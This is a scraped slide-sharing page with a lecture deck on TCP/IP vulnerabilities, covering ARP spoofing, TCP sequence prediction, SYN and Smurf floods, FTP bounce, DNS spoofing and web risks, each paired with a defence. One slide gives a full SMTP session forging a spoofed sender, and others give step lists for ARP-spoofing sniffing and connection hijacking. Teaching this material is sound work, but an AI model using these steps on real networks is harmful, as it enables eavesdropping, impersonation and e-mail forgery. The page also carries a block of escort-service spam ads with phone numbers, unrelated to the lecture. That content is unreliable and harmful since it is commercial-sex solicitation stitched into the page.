 
Introduction to TCP / IP in networking Technology
Introduction to TCP / IP in networking TechnologyIntroduction to TCP / IP in networking Technology
Introduction to TCP / IP in networking Technology
 
tcpip.ppt
tcpip.ppttcpip.ppt
tcpip.ppt
 
05Transport.ppt
05Transport.ppt05Transport.ppt
05Transport.ppt
 
Transport ppt for students examination.ppt
Transport ppt for students examination.pptTransport ppt for students examination.ppt
Transport ppt for students examination.ppt
 
lecture5.pptx
lecture5.pptxlecture5.pptx
lecture5.pptx
 
Network protocols and vulnerabilities
Network protocols and vulnerabilitiesNetwork protocols and vulnerabilities
Network protocols and vulnerabilities
 
Computer network coe351- part3-final
Computer network coe351- part3-finalComputer network coe351- part3-final
Computer network coe351- part3-final
 
Lecture set 7
Lecture set 7Lecture set 7
Lecture set 7
 
ADDRESSING PADA TCP IP
ADDRESSING PADA TCP IPADDRESSING PADA TCP IP
ADDRESSING PADA TCP IP
 
Socket programming using C
Socket programming using CSocket programming using C
Socket programming using C
 
Zhiyun Qian-what leaves attacker hijacking USA Today site
Zhiyun Qian-what leaves attacker hijacking USA Today siteZhiyun Qian-what leaves attacker hijacking USA Today site
Zhiyun Qian-what leaves attacker hijacking USA Today site
 
Arp spoofing
Arp spoofingArp spoofing
Arp spoofing
 
tcp-140613123317-phpapp01.pptx
tcp-140613123317-phpapp01.pptxtcp-140613123317-phpapp01.pptx
tcp-140613123317-phpapp01.pptx
 

Último

(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With...
(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With...(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With...
(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With... Shivani Pandey
 
Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser...
Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser...Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser...
Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser... Shivani Pandey
 
2k Shot Call girls Laxmi Nagar Delhi 9205541914
2k Shot Call girls Laxmi Nagar Delhi 92055419142k Shot Call girls Laxmi Nagar Delhi 9205541914
2k Shot Call girls Laxmi Nagar Delhi 9205541914Delhi Call girls
 
Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...
Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...
Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...ritikasharma
 
📞 Contact Number 8617697112 VIP East Sikkim Call Girls
📞 Contact Number 8617697112 VIP East Sikkim Call Girls📞 Contact Number 8617697112 VIP East Sikkim Call Girls
📞 Contact Number 8617697112 VIP East Sikkim Call GirlsNitya salvi
 
Call Girls Bhandara Just Call 8617697112 Top Class Call Girl Service Available
Call Girls Bhandara Just Call 8617697112 Top Class Call Girl Service AvailableCall Girls Bhandara Just Call 8617697112 Top Class Call Girl Service Available
Call Girls Bhandara Just Call 8617697112 Top Class Call Girl Service AvailableNitya salvi
 
Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...
Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...
Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...ritikasharma
 
Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...
Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...
Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...ritikasharma
 
Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...
Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...
Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...ritikasharma
 
𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...
𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...
𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...rahim quresi
 
❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.
❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.
❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.Nitya salvi
 
VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...
VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...
VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...SUHANI PANDEY
 
Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034 Independent Chenna...
Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034  Independent Chenna...Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034  Independent Chenna...
Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034 Independent Chenna... Shivani Pandey
 
VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...
VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...
VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...SUHANI PANDEY
 
VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...
VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...
VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...SUHANI PANDEY
 
Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24...
Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24...Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24...
Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24... Shivani Pandey
 
Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)
Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)
Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)amitlee9823
 
Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...
Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...
Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...rajveermohali2022
 
Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...
Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...
Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...ritikasharma
 
Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...
Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...
Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...hotbabesbook
 

Último (20)

(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With...
(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With...(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With...
(TOP CLASS) Call Girls In Chengalpattu Phone 7427069034 Call Girls Model With...
 
Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser...
Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser...Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser...
Model Call Girls In Velappanchavadi WhatsApp Booking 7427069034 call girl ser...
 
2k Shot Call girls Laxmi Nagar Delhi 9205541914
2k Shot Call girls Laxmi Nagar Delhi 92055419142k Shot Call girls Laxmi Nagar Delhi 9205541914
2k Shot Call girls Laxmi Nagar Delhi 9205541914
 
Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...
Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...
Hotel And Home Service Available Kolkata Call Girls Dum Dum ✔ 6297143586 ✔Cal...
 
📞 Contact Number 8617697112 VIP East Sikkim Call Girls
📞 Contact Number 8617697112 VIP East Sikkim Call Girls📞 Contact Number 8617697112 VIP East Sikkim Call Girls
📞 Contact Number 8617697112 VIP East Sikkim Call Girls
 
Call Girls Bhandara Just Call 8617697112 Top Class Call Girl Service Available
Call Girls Bhandara Just Call 8617697112 Top Class Call Girl Service AvailableCall Girls Bhandara Just Call 8617697112 Top Class Call Girl Service Available
Call Girls Bhandara Just Call 8617697112 Top Class Call Girl Service Available
 
Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...
Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...
Hotel And Home Service Available Kolkata Call Girls Diamond Harbour ✔ 6297143...
 
Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...
Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...
Top Rated Kolkata Call Girls Dum Dum ⟟ 6297143586 ⟟ Call Me For Genuine Sex S...
 
Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...
Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...
Hotel And Home Service Available Kolkata Call Girls Howrah ✔ 6297143586 ✔Call...
 
𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...
𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...
𓀤Call On 6297143586 𓀤 Ultadanga Call Girls In All Kolkata 24/7 Provide Call W...
 
❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.
❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.
❤Personal Whatsapp Number Keylong Call Girls 8617697112 💦✅.
 
VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...
VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...
VIP Model Call Girls Koregaon Park ( Pune ) Call ON 8005736733 Starting From ...
 
Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034 Independent Chenna...
Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034  Independent Chenna...Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034  Independent Chenna...
Verified Trusted Call Girls Tambaram Chennai ✔✔7427069034 Independent Chenna...
 
VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...
VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...
VIP Model Call Girls Budhwar Peth ( Pune ) Call ON 8005736733 Starting From 5...
 
VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...
VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...
VIP Model Call Girls Vijayawada ( Pune ) Call ON 8005736733 Starting From 5K ...
 
Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24...
Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24...Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24...
Model Call Girls In Ariyalur WhatsApp Booking 7427069034 call girl service 24...
 
Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)
Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)
Call Girls Bellandur ☎ 7737669865☎ Book Your One night Stand (Bangalore)
 
Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...
Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...
Zirakpur Call Girls👧 Book Now📱8146719683 📞👉Mohali Call Girl Service No Advanc...
 
Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...
Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...
Hotel And Home Service Available Kolkata Call Girls Sonagachi ✔ 6297143586 ✔C...
 
Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...
Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...
Thane West \ Escort Service in Mumbai - 450+ Call Girl Cash Payment 983332523...
 

vulnerabilities in IP.pdf

  • 2. 2 Outline • TCP/IP Layering • Names and Addresses • Security Considerations for – Address Resolution Protocol – Internet Protocol – Transmission Control Protocol – FTP,Telnet, SMTP – Web Security • Browser Side Risks • Server Side Risks
  • 6. 6 RARP IGMP Demultiplexing Ethernet driver DNS HTTP FTP TCP UDP IP ICMP ARP SMTP SNMP … … demuxing based on frame type in the Ethernet header demuxing based on the protocol id in the IP header demuxing based on the port number in the TCP or UDP header
  • 8. 8 IP Addresses • Just to refresh! • Every interface has a unique IP address • 32 bits long, usually given in dotted decimal notation • 5 classes: – class A: “0” + 7 bits net ID + 24 bits host ID – class B: “10” + 14 bits net ID + 16 bits host ID – class C: “110” + 21 bits net ID + 8 bits host ID – class D: “1110” + 28 bits multicast group ID – class E: “11110”, reserved for future use
  • 9. 9 Subnet Addressing • CIDR - classless Internet domain routing • Host ID portion is divided into a subnet ID and a host ID • e.g., class B address: “10” + 14 bit net ID + 8 bit subnet ID + 8 bit host ID • Hierarchical addressing
  • 10. 10 Hardware (MAC) Addresses • Every interface has a unique and fixed hardware address too • Used by the data link layer • In case of Ethernet, it is 48 bits long • Mapping between IP addresses and MAC addresses are done by ARP
  • 11. 11 Host Names • Human readable, hierarchical names, such as www.case.edu.pk • Every host may have several names • Mapping between names and IP addresses is done by the Domain Name System (DNS)
  • 13. 13 ARP – Address Resolution Protocol • Mapping from IP addresses to MAC addresses Request 140.252.13 .1 .2 .3 .4 .5 08:00:20:03:F6:42 00:00:C0:C2:9B:26 Reply 140.252.13 .1 .2 .3 .4 .5 08:00:20:03:F6:42 00:00:C0:C2:9B:26 arp req | target IP: 140.252.13.5 | target eth: ? arp rep | sender IP: 140.252.13.5 | sender eth: 00:00:C0:C2:9B:26
  • 14. 14 ARP Spoofing • An ARP request can be responded by another host Request 140.252.13 .1 .2 .3 .4 .5 08:00:20:03:F6:42 00:00:C0:C2:9B:26 Reply 140.252.13 .1 .2 .3 .4 .5 08:00:20:03:F6:42 00:00:C0:C2:9B:26 arp req | target IP: 140.252.13.5 | target eth: ? arp rep | sender IP: 140.252.13.5 | sender eth: 00:34:CD:C2:9F:A0 00:34:CD:C2:9F:A0
  • 15. 15 Switch ARP Spoofing • Used for sniffing on switched LAN Outside World 1. Configure IP forwarding 2. Send fake ARP response to map default router’s IP to attacker’s MAC 3. Victim sends traffic based on poisoned ARP cache 4. Sniff the traffic from the link 5. Packets are forwarded from attacker’s machine to actual default router Default Router Attacker Victim
  • 16. 16 ARP Spoofing Prevention ? • Cryptographic protection on the data is the only way – Not allow any untrusted node to read the contents of your traffic
  • 18. 18 IP – Internet Protocol • Provides an unreliable, connectionless datagram delivery service to the upper layers • Its main function is routing • It is implemented in both end systems and intermediate systems (routers) • Routers maintain routing tables that define the next hop router towards a given destination (host or network) • IP routing uses the routing table and the information in the IP header (e.g., the destination IP address) to route a packet
  • 19. 19 IP Security Problems • User data in IP packets is not protected in any way – Anyone who has access to a router can read and modify the user data in the packets • IP packets are not authenticated – It is fairly easy to generate an IP packet with an arbitrary source IP address • Traffic analysis – Even if user data was encrypted, one could easily determine who is communicating with whom by just observing the addressing information in the IP headers
  • 20. 20 IP Security Problems • Information exchanged between routers to maintain their routing tables is not authenticated – Correct routing table updates can be modified or fake ones can be disseminated – This may screw up routing completely leading to loops or partitions – It may also facilitate eavesdropping, modification, and monitoring of traffic – It may cause congestion of links or routers (i.e., denial of service)
  • 22. 22 TCP – Transmission Control Protocol • Provides a connection oriented, reliable, byte stream service to the upper layers • Connection oriented: – Connection establishment phase prior to data transfer – State information (sequence numbers, window size, etc.) is maintained at both ends
  • 23. 23 TCP- Reliability • Positive acknowledgement scheme (unacknowledged bytes are retransmitted after a timeout) • Checksum on both header and data • Reordering of segments that are out of order • Detection of duplicate segments • Flow control (sliding window mechanism)
  • 24. 24 TCP Connection Establishment Client Server SYNC SYNS, ACKC ACKS Listening Store data Wait Connected
  • 25. 25 TCP Sequence Numbers • TCP uses ISN (Initial Sequence Number) to order the incoming packets for a connection • Sequence numbers are 32 bits long • The sequence number in a data segment identifies the first byte in the segment • Sequence numbers are initialized with a “random” value during connection setup • The RFC suggests that the ISN is incremented by one at least every 4 ms
  • 26. 26 TCP SYN Attack • An attacker can impersonate a trusted host (e.g., in case of r commands, authentication is based on source IP address solely) – This can be done guessing the sequence number in the ongoing communication – The initial sequence numbers are intended to be more or less random
  • 27. 27 TCP SYN Attack • In Berkeley implementations, the ISN is incremented by a constant amount – 128,000 once per second, and – further 64,000 each time a connection is initiated • RFC 793 specifies that the 32-bit counter be incremented by 1 about every 4 ms – the ISN cycles every 4.55 hours • Whatever! It is not hopeless to guess the next ISN to be used by a system
  • 28. 28 Launching a SYN Attack • The attacker first establishes a valid connection with the target to know its ISN. • Next it impersonates itself as trusted host T and sends the connection request with ISNx • The target sends the ACK with its ISNs to the trusted host T • The attacker after the expected time sends the ACK with predicted ISNs’
  • 29. 29 Launching a SYN Attack SYN = ISNX, SRC_IP = T SYN = ISNS, ACK(ISNX) ACK(ISNS), SRC_IP = T SRC_IP = T, nasty_data attacker server trusted host (T)
  • 30. 30 What about the ACK for T? • If the ACK is received by the trusted host T – It will reject it, as no request for a connection was made by it – RST will be sent and the server drops the connection BUT!!! • The attacker can either launch this attack when T is down • Or launch some sort of DoS attack on T – So that it can’t reply
  • 31. 31 TCP SYN Attack – How to Guess ISNS? – ISNS’ (Attacker’s ISN) depends on ISNS and Dt – Dt can be estimated from the round trip time – Assume Dt can be estimated with 10 ms precision attacker server Dt
  • 32. 32 TCP SYN Attack – How to Guess ISNS? • Attacker has an uncertainty of 1280 in the possible value for ISNS’ • Assume each trial takes 5 s • The attacker has a reasonable likelihood of succeeding in 6400 s and a near-certainty within one day!
  • 33. 33 How to Prevent it? • Can be prevented by properly configuring the firewall – Do not allow any communication from outside using the address of some internal network
  • 34. 34 TCP SYN Flood • Attacker’s goal is to overwhelm the destination machine with SYN packets with spoofed IP • This results in: – The server’s connection queue filling up causing DoS Attack – Or even if queue is large enough, all ports will be busy and the service could not be provided by the server C S SYNC1 Listening Store data SYNC2 SYNC3 SYNC4 SYNC5
  • 35. 35 How to Avoid TCP SYN Flood • Decrease the wait time for half open connection • Do not store the connection information • Use SYN cookies as sequence numbers during connection setup • SYN cookie is some function applied on – Dest IP, Source IP, Port numbers, Time and a secret number
  • 36. 36 TCP Congestion Control • If packets are lost, assume congestion – Reduce transmission rate by half, repeat – If loss stops, increase rate very slowly Design assumes routers blindly obey this policy Source Destination
  • 37. 37 TCP Congestion Control- Competition • Amiable source A yields to boisterous source B – Both senders experience packet loss – Source A backs off – Source B disobeys protocol, gets better results! Source A Source B Destination Destination
  • 38. 38 DoS-Denial of Service Attacks • Attempts to prevent the victim from being able to establish connections • Accomplished by involving the victim in heavy processing – like sending the TCP SYN packets to all ports of the victim and avoiding new connection establishment • DoS attacks are much easier to accomplish than gaining administrative access
  • 39. 39 Exploiting Ping Command for Smurf DoS Attack • Send ping request to subnet-directed brdcst addr with spoofed IP (ICMP Echo Req) • Lots of responses: – Every host on target network generates a ping reply (ICMP Echo Reply) to victim – Ping reply stream can overload victim gateway DoS Source DoS Target 1 ICMP Echo Req Src: Dos Target Dest: brdct addr 3 ICMP Echo Reply Dest: Dos Target
  • 40. 40 Smurf DoS Attack Prevention • Have adequate bandwidth and redundant paths • Filter ICMP messages to reject external packets to broadcast address • Any other approach ?
  • 41. 41 FTP – File Transfer Protocol user user interface protocol interpreter data transfer function file system protocol interpreter data transfer function file system client server data connection control connection (FTP commands and replies)
  • 42. 42 FTP – File Transfer Protocol • Typical FTP commands: – RETR filename – retrieve (get) a file from the server – STOR filename – store (put) a file on the server – TYPE type – specify file type (e.g., A for ASCII) – USER username – username on server – PASS password – password on server • FTP is a text (ASCII) based protocol % ftp ftp.case.edu.pk Connected to ftp.case.edu.pk. Name: abc Password: pswd client server <TCP connection setup to port 21 of ftp.case.edu.pk > “220 ftp.case.edu.pk FTP server (version 5.60) ready.” “USER abc” “331 Password required for user abc.” “PASS pswd” “230 User abc logged in.” …
  • 43. 43 Problems with FTP • FTP information exchange is in clear text – The attacker can easily eavesdrop and get the secret information – The attacker can also know the software version of FTP running to exploit the vulnerabilities of that particular version
  • 44. 44 FTP Bounce Scans • FTP has a feature to open connection with victim machine on the request from attacker machine • Machine A (Attacker) can request to check for the open ports on the target machine X (Victim) • Newer version of FTP does not support this forwarding feature Attacker FTP Server Victim to be scanned
  • 45. 45 Telnet • Provides remote login service to users • Works between hosts that use different operating systems • Uses option negotiation between client and server to determine what features are supported by both ends Telnet client Telnet server terminal driver TCP/IP pseudo- terminal driver TCP/IP login shell user kernel kernel TCP connection
  • 46. 46 Telnet Session Example • Single character at a time % telnet ahost.com.pk Connected to ahost.epfl.ch. Escape character is ‘^]’. Login: s client server <TCP connection setup to port 23 of ahost.com.pk> <Telnet option negotiation> “UNIX(r) System V Release 4.0” “Login:” “s” “Password:” … Login: st “t” Login: student “t” Password: c “c” … Password: case123 “3” <OS greetings and shell prompt, e.g., “%”> … … …
  • 47. 47 Problems with Telnet • Information exchange is in clear text – The attacker can easily eavesdrop and get the information like username and passwords – The attacker can also know the version to exploit the vulnerabilities of that particular version
  • 48. 48 SMTP – Simple Mail Transfer Protocol user agent local MTA mails to be sent user sending host relay MTA user agent local MTA user mailbox user receiving host relay MTA relay MTA TCP port 25 TCP connection SMTP SMTP SMTP SMTP
  • 49. 49 SMTP • SMTP is a text (ASCII) based protocol • MTA transfers mail from the user to the destination server • MTA relays are used to relay the mail from other clients • MTAs use SMTP to talk to each other • All the messages are spooled before sending
  • 50. 50 SMTP Message Flow sending MTA (rivest.case.edu.pk) receiving MTA (shamir.care.com.pk) “HELO rivest.case.edu.pk.” “250 shamir.care.com.pk Hello rivest.case.edu.pk., pleased to meet you” “MAIL from: student1@rivest.case.edu.pk” “250 student1@rivest.case.edu.pk... Sender ok” “RCPT to: student2@lca.epfl.ch” “250 student2@lca.epfl.ch… Recipient ok” “DATA” “354 Enter mail, end with a “.” on a line by itself” <message to be sent> . <TCP connection establishment to port 25> “250 Mail accepted” “QUIT” “221 shamir.care.com.pk delivering mail”
  • 51. 51 SMTP Security Problems • Designed in an era where internet security was not much of an issue – No security at the base protocol • Designed around the idea of “cooperation” and “trust” between servers – Susceptible to DoS attacks • Simply flood a mail server with SMTP connections or SMTP instructions.
  • 52. 52 SMTP Security Problems • SMTP does not provide any protection of e- mail messages – Does not ask sender to authenticate itself. – Messages can be read and modified by any of the MTAs involved – Fake messages can easily be generated (e- mail forgery) – Does not check what and from whom it is relaying the message
  • 53. 53 SMTP Security Problems Example % telnet frogstar.hit.com.pk 25 Trying... Connected to frogstar.hit.com.pk. Escape character is ‘^[’. 220 frogstar.hit.com.pk ESMTP Sendmail 8.11.6/8.11.6; Mon, 10 Feb 2003 14:23:21 +0100 helo abcd.com.pk 250 frogstar.hit.com.pk Hello [152.66.249.32], pleased to meet you mail from: bill.gates@microsoft.com 250 2.1.0 bill.gates@microsoft.com... Sender ok rcpt to: user@ebizlab.hit.com.pk 250 2.1.5 user@ebizlab.hit.com.pk... Recipient ok data 354 Enter mail, end with "." on a line by itself Your fake message goes here. . 250 2.0.0 h1ADO5e21330 Message accepted for delivery quit 221 frogstar.hit.com.pk closing connection Connection closed by foreign host. %
  • 54. 54 Be Careful, Though! Return-Path: <bill.gates@microsoft.com> Received: from frogstar.hit.com.pk (root@frogstar.hit.com.pk [152.66.248.44]) by shamir.ebizlab.hit.com.pk (8.12.7/8.12.7/Debian-2) with ESMTP id h1ADSsxG022719 for <user@ebizlab.hit.com.pk>; Mon, 10 Feb 2003 14:28:54 +0100 Received: from abcd.com.pk ([152.66.249.32]) by frogstar.hit.com.pk (8.11.6/8.11.6) with SMTP id h1ADO5e21330 for user@ebizlab.hit.com.pk; Mon, 10 Feb 2003 14:25:41 +0100 Date: Mon, 10 Feb 2003 14:25:41 +0100 From: bill.gates@microsoft.com Message-Id: <200302101325.h1ADO5e21330@frogstar.hit.com.pk> To: undisclosed-recipients:; X-Virus-Scanned: by amavis-dc Status: Your fake message goes here.
  • 56. 56 DNS – Domain Name Server • The DNS is a distributed database that provides mapping between hostnames and IP addresses • The DNS name space is hierarchical – Top level domains: com, edu, gov, int, mil, net, org, ae, …, pk, … zw – Top level domains may contain second level domains e.g., edu within pk, co within uk, … – Second level domains may contain third level domains, etc.
  • 57. 57 Domain Name Server • Usually (not always) a name server knows the IP address of the top level name servers • If a domain contains sub-domains, then the name server knows the IP address of the sub-domain name servers • When a new host is added to a domain, the administrator adds the (hostname, IP address) mapping to the database of the local name server
  • 58. 58 DNS – Domain Name Server – A single DNS reply may include several (hostname, IP address) mappings (Resource Records) – Received information is cached by the name server application local name srv top level name srv name srv in pk name srv in edu.pk name srv in case.edu.pk ce.case.edu.pk = ? ce.case.edu.pk = ? IP of ns in pk 152.66.248.44
  • 59. 59 DNS spoofing • The cache of a DNS name server is poisoned with false information • How to do it? – Assume that the attacker wants www.anything.com.pk to map to his own IP address 152.66.249.32
  • 60. 60 DNS Spoofing - Approach 1 • Attacker submits a DNS query “www.anything.com.pk=?” to ns.victim.com.pk • A bit later it forges a DNS reply “www.anything.com.pk=152.66.249.32” • UDP makes forging easier but the attacker must still predict the query ID
  • 61. 61 DNS Spoofing – Approach 2 • Attacker has access to ns.attacker.com.pk – The attacker modifies its local name server such that it responds a query “www.attacker.com.pk=?” with “www.anything.com.pk=152.66.249.32” – The attacker then submits a query “www.attacker.com.pk=?” to ns.victim.com.pk – ns.victim.com.pk sends the query “www.attacker.com.pk=?” to ns.attacker.com.pk – ns.attacker.com.pk responds with “www.anything.com.pk=152.66.249.32”
  • 63. 63 Web Security – Browser Side Risks • Obtaining a valid browser – IE usually comes with the OS – Netscape can be obtained from web sites – How can you be sure that you are downloading a genuine copy? (remember DNS spoofing) – A fake browser can look like a genuine one, but it can • Obtain and send passwords typed in by the user • Downgrade browser security (e.g., reduce key length used in SSL)
  • 64. 64 Web Forms • Used to send data from the user to the server (e.g., online applications, queries to a database, etc.) • If pure HTTP is used, then the data is sent in clear • Sensitive information can be eavesdropped and/or modified
  • 65. 65 Helper Applications • The browser cannot handle all kind of downloaded data • It invokes an external program (the helper) on the user’s machine with the downloaded data as parameter • e.g., to display a PostScript file, it may pass it to GhostView • Downloaded content can be dangerous (e.g., MS Word and Excel files may contain macro viruses)
  • 66. 66 Mobile Code Java Applets • Normally run within a controlled environment (sandbox) • Access to local resources is strictly controlled by a security manager • However, an applet may escape from the sandbox due to some bugs in the implementation of the Java Virtual Machine • Several such bugs have been discovered, reported, and fixed • What guarantees that there’s no more?
  • 67. 67 ActiveX Controls • A Microsoft approach to mobile code • ActiveX controls are executables that run directly on the machine (there’s no sandbox) • ActiveX controls can be signed and declared safe by their creators • But an ActiveX control declared safe may turn out to be dangerous – Compaq signed a control safe which allowed for remote management of servers – Microsoft signed a control which could write arbitrary file on the hard disk (it was exploited by a virus Kak.Worm)
